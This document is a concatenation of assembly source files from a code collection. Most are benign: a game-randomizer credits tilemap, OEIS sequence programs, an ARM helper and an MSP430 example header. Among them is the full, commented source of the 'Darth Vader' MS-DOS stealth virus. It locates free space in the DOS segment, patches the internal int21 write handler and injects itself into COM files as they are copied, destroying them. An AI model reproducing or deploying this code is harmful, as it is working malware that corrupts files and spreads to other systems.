triforce_gfx: incbin "data/credits-triforce-gfx.bin" triforce_map: incbin "data/credits-triforce-map.bin" warnpc $fe8000 org $fd0000 tilemap_data: !BIG dw " SUPER METROID " dw " super metroid " dw " " dw " A LINK TO THE PAST " dw " a link to the past " dw " " dw " CROSSOVER RANDOMIZER " dw " crossover randomizer " dw " " dw " " dw " " dw " " !PURPLE dw " ORIGINAL GAME CREDITS " dw " " !CYAN : dw "A LINK TO THE PAST" : !BLUE : dw " SUPER METROID" dw " " !CYAN : dw "HIROSHI YAMAUCHI" : !BLUE : dw " MAKOTO KANOH" !CYAN : dw "SHIGERU MIYAMOTO" : !BLUE : dw " YOSHI SAKAMOTO" !CYAN : dw "TAKASHI TEZUKA" : !BLUE : dw " TOHRU OHSAWA" !CYAN : dw "KENSUKE TANABE" : !BLUE : dw " MASAHIKO MASHIMO" !CYAN : dw "YOICHI YAMADA" : !BLUE : dw " HIROFUMI MATSUOKA" !CYAN : dw "YASUHISA YAMAMURA" : !BLUE : dw " KENJI IMAI" !CYAN : dw "SOICHIRO TOMITA" : !BLUE : dw " HIROYUKI KIMURA" !CYAN : dw "TAKAYA IMAMURA" : !BLUE : dw " TOMOYOSHI YAMANE" !CYAN : dw "MASANAO ARIMOTO" : !BLUE : dw " HIROJI KIYOTAKE" !CYAN : dw "TSUYOSHI WATANABE" : !BLUE : dw " TOMOMI YAMANE" !CYAN : dw "TOSHIHIKO NAKAGO" : !BLUE : dw " KENJI YAMAMOTO" !CYAN : dw "YASUNARI SOEJIMA" : !BLUE : dw " MINAKO HAMANO" !CYAN : dw "KASUAKI MORITA" : !BLUE : dw " KENJI NAKAJIMA" !CYAN : dw "TATSUO NISHIYAMA" : !BLUE : dw " YOSHIKAZU MORI" !CYAN : dw "YUICHI YAMAMOTO" : !BLUE : dw " ISAMU KUBOTA" !CYAN : dw "TOSHIO IWAWAKI" : !BLUE : dw " MUTSURU MATSUMOTO" !CYAN : dw "YOSHIHIRO NOMOTO" : !BLUE : dw " YASUHIKO FUJI" !CYAN : dw "EIJI NOTO" : !BLUE : dw " MOTOMU CHIKARAISHI" !CYAN : dw "SHIGEHIRO KASAMATSU" : !BLUE : dw " KOUICHI ABE" !CYAN : dw "SATORU TAKAHATA" : !BLUE : dw " KATSUYA YAMANO" !CYAN : dw "KEIZO KATO" : !BLUE : dw " TSUTOMU KANESHIGE" !CYAN : dw "KOJI KONDO" : !BLUE : dw " MASAFUMI SAKASHITA" !CYAN : dw "YASUNARI NISHIDA" : !BLUE : dw " YASUO INOUE" !CYAN : dw "YOSHIAKI KOIZUMI" : !BLUE : dw " MARY COCOMA" !CYAN : dw "TAKAO SHIMIZU" : !BLUE : dw " YUSUKE NAKANO" !CYAN : dw "YOICHI KOTABE" : !BLUE : dw " SHINYA SANO" !CYAN : dw "HIDEKI FUJII" : !BLUE : dw " NORIYUKI SATO" !CYAN : dw "DANIEL OWSEN" : !BLUE : dw " DANIEL OWSEN" !CYAN : dw "YASUHIRO SAKAI" : !BLUE : dw " " !CYAN : dw "HIROYUKI YAMADA" : !BLUE : dw " GUMPEI YOKOI" .randomizer_staff dw " " dw " " dw " " dw " " !ORANGE dw " CROSSOVER RANDOMIZER STAFF " dw " " dw " " !BLUE dw " MAIN DEVELOPER " !BIG dw " " dw " TOTAL " dw " total " dw " " dw " " dw " " !PINK dw " ADDITIONAL GRAPHICS " !BIG dw " " dw " ANDREW NATALIE " dw " andrew natalie " dw " " dw " QWERTYMODO ARTHEAU " dw " qwertymodo artheau " dw " " dw " " dw " " !CYAN dw " ADDITIONAL CONTRIBUTORS " !BIG dw " " dw " LENOPHIS HALFAREBEL " dw " lenophis halfarebel " dw " " dw " ANDY SMOLBIG " dw " andy smolbig " dw " " dw " " dw " " .alttp_sprite_credits !PINK dw " ALTTP CUSTOM SPRITE " !BIG dw " " dw " " dw " " dw " " dw " " .sm_sprite_credits !ORANGE dw " SUPER METROID CUSTOM SPRITE " !BIG dw " " dw " " dw " " dw " " dw " " .end_sprite_credits !PURPLE dw " SPECIAL THANKS TO " !BIG dw " " dw " WILDANACONDA69 ALUCARD2004 " dw " wildanaconda&) alucard@}}$ " dw " " dw " GARRISON IVAN " dw " garrison ivan " dw " " dw " KEKUMANSHOYU LEXOMATICO " dw " kekumanshoyu lexomatico " dw " " dw " " dw " AND ALL OTHER BETA TESTERS " dw " and all other beta testers " dw " " dw " " dw " METROIDCONSTRUCTION COM " dw " metroidconstruction.com " dw " " dw " " dw " SUPER METROID SRL COMMUNITY " dw " super metroid srl community " dw " " dw " " dw " ALTTP AND ALTTPR COMMUNITIES " dw " alttp and alttpr communities " dw " " dw " " dw " " !ORANGE dw " ALTTP RANDOMIZER DEVELOPERS " !BIG dw " " dw " VEETORP KATDEVSGAMES DESSYREQT " dw " veetorp katdevsgames dessyreqt " dw " " dw " SMALLHACKER CHRISTOSOWEN " dw " smallhacker christosowen " dw " " dw " " dw " " dw " " !BLUE dw " SM RANDOMIZER DEVELOPERS " !BIG dw " " dw " TOTAL ANDREW DESSYREQT " dw " total andrew dessyreqt " dw " " dw " LEODOX PERSONITIS " dw " leodox personitis " dw " " dw " " dw " " dw " " !CYAN dw " GAMEPLAY STATISTICS " dw " " dw " " dw " " !PURPLE dw " SUPER METROID " dw " " dw " " !ORANGE dw " DOORS " dw " " !BIG .door_transitions dw " DOOR TRANSITIONS " dw " door transitions " dw " " .time_in_doors dw " TIME IN DOORS 00'00'00^00 " dw " time in doors " dw " " .time_aligning_doors dw " TIME ALIGNING DOORS 00'00^00 " dw " time aligning doors " dw " " dw " " !BLUE dw " TIME SPENT IN " dw " " !BIG .time_in_crateria dw " CRATERIA 00'00'00^00 " dw " crateria " dw " " .time_in_brinstar dw " BRINSTAR 00'00'00^00 " dw " brinstar " dw " " .time_in_norfair dw " NORFAIR 00'00'00^00 " dw " norfair " dw " " .time_in_wreckedship dw " WRECKED SHIP 00'00'00^00 " dw " wrecked ship " dw " " .time_in_maridia dw " MARIDIA 00'00'00^00 " dw " maridia " dw " " .time_in_tourian dw " TOURIAN 00'00'00^00 " dw " tourian " dw " " dw " " !PINK dw " SHOTS AND AMMO FIRED " dw " " !BIG .charged_shots dw " CHARGED SHOTS " dw " charged shots " dw " " .sbas dw " SPECIAL BEAM ATTACKS " dw " special beam attacks " dw " " .missiles dw " MISSILES " dw " missiles " dw " " .supermissiles dw " SUPER MISSILES " dw " super missiles " dw " " .powerbombs dw " POWER BOMBS " dw " power bombs " dw " " .bombs dw " BOMBS " dw " bombs " dw " " dw " " dw " " dw " " !YELLOW dw " A LINK TO THE PAST " dw " " dw " " !CYAN dw " TIME FOUND " dw " " !BIG .alttp_first_sword dw " FIRST SWORD 00'00'00^00 " dw " first sword " dw " " .alttp_pegasus_boots dw " PEGASUS BOOTS 00'00'00^00 " dw " pegasus boots " dw " " .alttp_flute dw " FLUTE 00'00'00^00 " dw " flute " dw " " .alttp_mirror dw " MIRROR 00'00'00^00 " dw " mirror " dw " " dw " " !ORANGE dw " BOSS KILLS " dw " " !BIG .alttp_swordless dw " SWORDLESS " dw " swordless " dw " " .alttp_fighter dw " FIGHTER'S SWORD " dw " fighter s sword " dw " " .alttp_master dw " MASTER SWORD " dw " master sword " dw " " .alttp_tempered dw " TEMPERED SWORD " dw " tempered sword " dw " " .alttp_gold dw " GOLD SWORD " dw " gold sword " dw " " dw " " !PURPLE dw " GAME STATS " dw " " !BIG .alttp_gtbigkey dw " GANON'S TOWER BIG KEY " dw " ganon s tower big key " dw " " .alttp_bonks dw " BONKS " dw " bonks " dw " " .alttp_savequits dw " SAVE AND QUITS " dw " save and quits " dw " " .alttp_deaths dw " DEATHS " dw " deaths " dw " " .alttp_faerierevivals dw " FAERIE REVIVALS " dw " faerie revivals " dw " " .alttp_menutime dw " TIME IN MENUS 00'00'00^00 " dw " time in menus " dw " " ; .alttp_lagtime ; dw " LAG TIME 00'00'00^00 " ; dw " lag time " ; dw " " ; dw " " dw " " dw " " !ORANGE dw " COMBINED " dw " " !BIG .sm_transitions dw " TRANSITIONS TO SM " dw " transitions to sm " dw " " .alttp_transitions dw " TRANSITIONS TO ALTTP " dw " transitions to alttp " dw " " dw " " dw " " .alttp_total_time dw " TIME IN ALTTP 00'00'00^00 " dw " time in alttp " dw " " .sm_total_time dw " TIME IN SM 00'00'00^00 " dw " time in sm " dw " " .total_time dw " TOTAL TIME 00'00'00^00 " dw " total time " dw " " .collection_rate dw " COLLECTED ITEMS " dw " collected items " dw " " dw " " dw " " dw " " dw " SEE YOU NEXT MISSION " dw " see you next mission " dw " " dw " " dw " " dw " " dw " " dw " " dw " " .stop dw " THE END " dw " the end " dw " " dw " " !OFF warnpc $fd8000 namespace off
23.224262
165
0.457125
083980c0c103beb6fc421a4e672c420a9f2ecb96
384
asm
Assembly
untested/ARM/oppositeSigns.asm
GabrielRavier/Generic-Assembly-Samples
fbf803960a14307b7fce0165058d0d4048abaf42
[ "Unlicense" ]
null
null
null
untested/ARM/oppositeSigns.asm
GabrielRavier/Generic-Assembly-Samples
fbf803960a14307b7fce0165058d0d4048abaf42
[ "Unlicense" ]
null
null
null
untested/ARM/oppositeSigns.asm
GabrielRavier/Generic-Assembly-Samples
fbf803960a14307b7fce0165058d0d4048abaf42
[ "Unlicense" ]
null
null
null
code32 format ELF public _oppositeSigns public _oppositeSigns64 section '.text' executable align 16 _oppositeSigns: eor r0, r0, r1 lsr r0, r0, #31 bx lr _oppositeSigns64: str fp, [sp, #-4]! eor fp, r0, r2 eor ip, r1, r3 lsr r3, fp, #31 orr r1, r3, ip, lsl #1 orrs r3, r1, ip, asr #31 movne r0, #1 moveq r0, #0 ldr fp, [sp], #4 bx lr
11.636364
35
0.59375
2f715dfad2d88f8fe96ffbff19bd646d23445d35
520
asm
Assembly
programs/oeis/055/A055842.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/055/A055842.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/055/A055842.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A055842: Expansion of (1-x)^2/(1-5*x). ; 1,3,16,80,400,2000,10000,50000,250000,1250000,6250000,31250000,156250000,781250000,3906250000,19531250000,97656250000,488281250000,2441406250000,12207031250000,61035156250000,305175781250000,1525878906250000,7629394531250000 mov $1,1 lpb $0 sub $3,$2 mov $4,$0 sub $4,1 mov $0,$4 mov $5,$1 add $6,3 add $6,$1 add $6,$1 mul $1,2 trn $3,$1 add $1,$3 trn $1,3 add $2,5 mov $3,14 add $5,$6 sub $5,1 add $1,$5 sub $1,2 add $2,2 mov $6,3 lpe
19.259259
226
0.65
3e5a49f6e4f683017d1947ce61039ae20bc04b98
66
asm
Assembly
data/mcp/asm/prog_08_04.asm
colinw7/CZ80
458e83ffdca23dcfc92e78de9b802219a85f059a
[ "MIT" ]
null
null
null
data/mcp/asm/prog_08_04.asm
colinw7/CZ80
458e83ffdca23dcfc92e78de9b802219a85f059a
[ "MIT" ]
null
null
null
data/mcp/asm/prog_08_04.asm
colinw7/CZ80
458e83ffdca23dcfc92e78de9b802219a85f059a
[ "MIT" ]
null
null
null
0D00 3E 05 0D02 16 89 0D04 CB 2A 0D06 3D 0D07 C2 04 0D 0D0A DF 5B
9.428571
13
0.727273
b273bd1a574465c97b4acfdc6f1d4c8aaf2b57c8
1,272
asm
Assembly
programs/oeis/180/A180316.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/180/A180316.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/180/A180316.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A180316: Concatenation of n and A008954(n). ; 0,11,23,36,40,55,61,78,86,95,105,116,128,131,145,150,166,173,181,190,200,211,223,236,240,255,261,278,286,295,305,316,328,331,345,350,366,373,381,390,400,411,423,436,440,455,461,478,486,495,505,516,528,531,545,550,566,573,581,590,600,611,623,636,640,655,661,678,686,695,705,716,728,731,745,750,766,773,781,790,800,811,823,836,840,855,861,878,886,895,905,916,928,931,945,950,966,973,981,990,1000,1011,1023,1036,1040,1055,1061,1078,1086,1095,1105,1116,1128,1131,1145,1150,1166,1173,1181,1190,1200,1211,1223,1236,1240,1255,1261,1278,1286,1295,1305,1316,1328,1331,1345,1350,1366,1373,1381,1390,1400,1411,1423,1436,1440,1455,1461,1478,1486,1495,1505,1516,1528,1531,1545,1550,1566,1573,1581,1590,1600,1611,1623,1636,1640,1655,1661,1678,1686,1695,1705,1716,1728,1731,1745,1750,1766,1773,1781,1790,1800,1811,1823,1836,1840,1855,1861,1878,1886,1895,1905,1916,1928,1931,1945,1950,1966,1973,1981,1990,2000,2011,2023,2036,2040,2055,2061,2078,2086,2095,2105,2116,2128,2131,2145,2150,2166,2173,2181,2190,2200,2211,2223,2236,2240,2255,2261,2278,2286,2295,2305,2316,2328,2331,2345,2350,2366,2373,2381,2390,2400,2411,2423,2436,2440,2455,2461,2478,2486,2495 mov $3,$0 lpb $0 add $1,$0 sub $0,1 lpe mod $1,10 mov $2,$3 mul $2,10 add $1,$2
97.846154
1,140
0.76022
d9318c5e51af03ad1cdd8f7ef09806a941767195
540
asm
Assembly
programs/oeis/082/A082296.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/082/A082296.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/082/A082296.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A082296: Solutions to 13^x+17^x == 19 mod 23. ; 12,20,34,42,56,64,78,86,100,108,122,130,144,152,166,174,188,196,210,218,232,240,254,262,276,284,298,306,320,328,342,350,364,372,386,394,408,416,430,438,452,460,474,482,496,504,518,526,540,548,562,570,584,592,606,614,628,636,650,658,672,680,694,702,716,724,738,746,760,768,782,790,804,812,826,834,848,856,870,878,892,900,914,922,936,944,958,966,980,988,1002,1010,1024,1032,1046,1054,1068,1076,1090,1098 mov $3,$0 mod $0,2 pow $1,$0 mul $1,3 add $1,9 mov $2,$3 mul $2,11 add $1,$2 mov $0,$1
41.538462
403
0.701852
4d18ff3f6c321b5349f7ef523f19d9c392a31c19
427
asm
Assembly
oeis/100/A100193.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/100/A100193.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/100/A100193.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A100193: a(n) = Sum_{k=0..n} binomial(2n,n+k)*3^k. ; Submitted by Christian Krause ; 1,5,27,146,787,4230,22686,121476,649731,3472382,18546922,99023292,528535726,2820451964,15048601308,80283276936,428271193827,2284478396334,12185310873138,64993897108236,346655914156602 add $0,1 mov $4,$0 lpb $0 sub $0,1 mov $3,$4 sub $3,2 bin $3,$1 add $1,1 add $3,$2 add $3,$2 mul $2,2 add $2,$3 add $4,1 lpe mov $0,$2
21.35
185
0.681499
bf4e5b66d6c8e01c4fd53942b196fdfff19cba0e
664
asm
Assembly
programs/oeis/214/A214411.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/214/A214411.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/214/A214411.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A214411: The maximum exponent k of 7 such that 7^k divides n. ; 0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0 add $0,1 mov $2,$0 lpb $2,1 add $1,362880 mov $3,$2 bin $3,7 gcd $2,$3 lpe div $1,362880
51.076923
501
0.527108
b66c816add7840b3f5283b39a9ee6d6da5b7b0a5
5,241
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.darth1.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.darth1.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.darth1.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
;******************************************************************************* ;* * ;* D A R T H V A D E R - stealth virus * ;* * ;* (C) - Copyright 1991 by Waleri Todorov, CICTT * ;* All Rights Reserved * ;* * ;* Virus infect ANY com file exept COMMAND.COM. He use iternal DOS * ;* dispatcher for int21 functions, so it cannot be stoped by programs * ;* like ANTI4US etc... He also cannot be stoped by disk lock utilities * ;* because the virus use WRITE function (40h) of DOS' int21. * ;* Always when you copy COM file with DOS' 'copy' command or PCTools * ;* class programm, you will receive infected (destroyed) copy of file * ;* Infected file won't work, but the virus WILL * ;* * ;* Waleri Todorov * ;* * ;******************************************************************************* nop ; Dummy NOPs. Required nop mov ah,30h ; Get DOS version int 21h cmp al,5 ; If DOS is NOT 5.X jb OkDOS ; Continue Exit ; else terminate int 20h OkDos mov ax,1203h ; Get DOS segment int 2fh ; Via interrupt 2F (undocumented) mov si,9000h ; Set ES to 9000 mov es,si ; Usualy this area is fill with zeros xor si,si ; SI=0 Next inc si ; Next byte cmp si,0F00h ; If SI==0xF00 ja Exit ; Then no place found and exit to DOS push si ; else Save SI in stack xor di,di ; ES:DI == 9000:0000 mov cx,offset lastbyte-100h ; Will check virus size repe cmpsb ; Check until equal jcxz Found ; if CX==0 then place is found pop si ; else restore SI from stack jmp short Next ; and go search next byte Found pop di ; Restore saved SI to DI mov cs:MyPlace,di ; Save new offset in DOS segment mov [2],di ; at DOSSEG:0002 mov si,100h ; SI will point beginning in file push ds ; Save DS push ds ; Set ES equal to DS pop es ; push cs ; Set DS=CS pop ds ; mov cx,offset LastByte-100h ; Will move virus size only rep movsb ; Do move pop ds ; Restore DS (point to DOSSEG) push si ; From this place will search DOS table NextTable pop si ; inc si ; Next byte jz Exit ; If segment end then exit push si ; Save SI lodsw ; Load AX from DS:SI xchg ax,bx ; Put AX in BX lodsb ; and load AL from DS:SI cmp bx,8B2Eh ; Check for special bytes jne NextTable ; in AL and BX cmp al,9Fh jne NextTable ; If not match -> search next byte FoundTable lodsw ; Else load table address to AX xchg ax,bx ; Put table address to BX mov si,[bx+80h] ; Load current offset of 40h function mov di,offset Handle ; Put its offset to DI mov cx,5 ; Will check 5 bytes only push cs ; ES:DI point handling of 40 in file pop es repe cmpsb ; Check if DS:SI match to ES:DI jcxz Exit ; If match -> virus is here -> Exit mov ax,[bx+80h] ; else load offset of function 40 mov [4],ax ; And save it to DOSSEG:0004 mov ax,offset Handle-100h ; Load absolute address of add ax,cs:MyPlace ; new handler and adjust its location mov [bx+80h],ax ; Store new address in DOS table int 20h ; Now virus is load and active Handle ; Handle function 40h of int 21 push ax ; Save important registers push bx push cx push ds push es push si push di cmp cx,270d ; Check if write less than virus size jb Do ; If so -> write with no infection mov cs:[0C00h],ds ; Save buffer segment in DOSSEG:0C00 mov cs:[0C02h],dx ; Save buffer offset in DOSSEG:0C02 mov ax,1220h ; Get number of File Handle table int 2fh ; Via int 2F (undocumented) mov bl,es:[di] ; Load number to BL mov ax,1216h ; Get File Handle table address int 2fh ; Via int 2F (undocumented) push di ; Save table offset add di,20h ; Now offset point to NAME of file push cs ; DS now will point in virus pop ds mov si,offset Command-100h ; Address of string COMM add si,cs:[2] ; Adjust for different offset in DOS mov cx,4 ; Check 4 bytes repe cmpsb ; Do check until equal pop di ; Restore address of table jcxz Do ; If match -> file is COMMand.XXX add di,28h ; Else DI point to EXTENSION of file mov si,offset Com-100h ; Address of string COM add si,cs:[2] ; Adjust for different offset in DOS mov cx,3 ; Check 3 bytes repe cmpsb ; Do check until equal jne Do ; If NOT *.COM file -> write normal mov di,cs:[0C02h] ; Else restore data buffer from mov es,cs:[0C00h] ; DOSSEG:0C00 & DOSSEG:0C02 mov si,cs:[2] ; Get virus start offset mov cx,offset LastByte-100 ; Will move virus only rep movsb ; Move its code in data to write ; Now virus is placed in data buffer of COPY command or PCTools etc... ; When they write to COM file they write virus either Do pop di ; Restore importatnt registers pop si pop es pop ds pop cx pop bx pop ax db 36h,0FFh,16h,4,0 ; CALL SS:[4] (call original 40) ret ; Return to caller (usualy DOS) Command db 'COMM' ; String for check COMMand.XXX Com db 'COM' ; String for check *.COM db 'Darth Vader' ; Signature LastByte nop ; Mark to calculate virus size MyPlace dw 0 ; Temporary variable. Not writed 
31.957317
80
0.627361
fefa098848fd621e161c4dfabb70116a02fffc32
197
asm
Assembly
testsuite/ubivm/expected/def_var_1.asm
alexgarzao/UOP
12460841ff2b9991d2f7f461635b1f551413823f
[ "MIT" ]
null
null
null
testsuite/ubivm/expected/def_var_1.asm
alexgarzao/UOP
12460841ff2b9991d2f7f461635b1f551413823f
[ "MIT" ]
null
null
null
testsuite/ubivm/expected/def_var_1.asm
alexgarzao/UOP
12460841ff2b9991d2f7f461635b1f551413823f
[ "MIT" ]
null
null
null
Entity start Constants 0 S start 1 S var1 2 S var2 3 S var3 4 S var4 End Def start Local variables 0 int var1 1 string var2 2 real var3 3 bool var4 End stop End End
10.368421
17
0.639594
cc606ac6dac329e0d3d00e5e80badfaf2b911eb5
586
asm
Assembly
programs/oeis/134/A134519.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/134/A134519.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/134/A134519.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A134519: Numbers remaining when the natural numbers (A000027) are arranged into a triangle and only the beginning and end terms of each row are retained. ; 1,2,3,4,6,7,10,11,15,16,21,22,28,29,36,37,45,46,55,56,66,67,78,79,91,92,105,106,120,121,136,137,153,154,171,172,190,191,210,211,231,232,253,254,276,277,300,301,325,326,351,352,378,379,406,407,435,436,465,466,496,497,528,529,561,562,595,596,630,631,666,667,703,704,741,742,780,781,820,821,861,862,903,904,946,947,990,991,1035,1036,1081,1082,1128,1129,1176,1177,1225,1226,1275,1276 mov $1,$0 div $1,2 bin $1,2 add $0,$1 add $0,1
65.111111
381
0.733788
7b7e79922ec6869946e85296ee28b3b41f507d1d
106
asm
Assembly
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/l_f32_zero.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/l_f32_zero.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/l_f32_zero.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_am9511 PUBLIC l_f32_zero .l_f32_zero ld hl,0 ld d,h ld e,l ret
10.6
26
0.59434
a430d4c99e0efbdb076680742cac29433ba7218d
1,543
asm
Assembly
programs/oeis/199/A199111.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/199/A199111.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/199/A199111.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A199111: a(n) = 8*3^n+1. ; 9,25,73,217,649,1945,5833,17497,52489,157465,472393,1417177,4251529,12754585,38263753,114791257,344373769,1033121305,3099363913,9298091737,27894275209,83682825625,251048476873,753145430617,2259436291849,6778308875545,20334926626633,61004779879897,183014339639689,549043018919065,1647129056757193,4941387170271577,14824161510814729,44472484532444185,133417453597332553,400252360791997657,1200757082375992969,3602271247127978905,10806813741383936713,32420441224151810137,97261323672455430409,291783971017366291225,875351913052098873673,2626055739156296621017,7878167217468889863049,23634501652406669589145,70903504957220008767433,212710514871660026302297,638131544614980078906889,1914394633844940236720665,5743183901534820710161993,17229551704604462130485977,51688655113813386391457929,155065965341440159174373785,465197896024320477523121353,1395593688072961432569364057,4186781064218884297708092169,12560343192656652893124276505,37681029577969958679372829513,113043088733909876038118488537,339129266201729628114355465609,1017387798605188884343066396825,3052163395815566653029199190473,9156490187446699959087597571417,27469470562340099877262792714249,82408411687020299631788378142745,247225235061060898895365134428233,741675705183182696686095403284697,2225027115549548090058286209854089,6675081346648644270174858629562265,20025244039945932810524575888686793,60075732119837798431573727666060377,180227196359513395294721182998181129,540681589078540185884163548994543385 mov $1,3 pow $1,$0 mul $1,8 add $1,1 mov $0,$1
171.444444
1,467
0.926766
94954a84a7c8662285f19cb4ad98db8da39d41fe
6,341
asm
Assembly
MSP430F541xA_MSP430F543xA_Code_Examples/Assembly_CCS/msp430x54xA_uscib0_i2c_07.asm
sususweet/MSP430F541x-MSP430F543x-Code-Examples
183b45c1aea66c1e71f717c697159acc4261d9cd
[ "Apache-2.0" ]
null
null
null
MSP430F541xA_MSP430F543xA_Code_Examples/Assembly_CCS/msp430x54xA_uscib0_i2c_07.asm
sususweet/MSP430F541x-MSP430F543x-Code-Examples
183b45c1aea66c1e71f717c697159acc4261d9cd
[ "Apache-2.0" ]
null
null
null
MSP430F541xA_MSP430F543xA_Code_Examples/Assembly_CCS/msp430x54xA_uscib0_i2c_07.asm
sususweet/MSP430F541x-MSP430F543x-Code-Examples
183b45c1aea66c1e71f717c697159acc4261d9cd
[ "Apache-2.0" ]
null
null
null
; --COPYRIGHT--,BSD_EX ; Copyright (c) 2012, Texas Instruments Incorporated ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; ; * Neither the name of Texas Instruments Incorporated nor the names of ; its contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, ; THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR ; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR ; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, ; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, ; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; ; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR 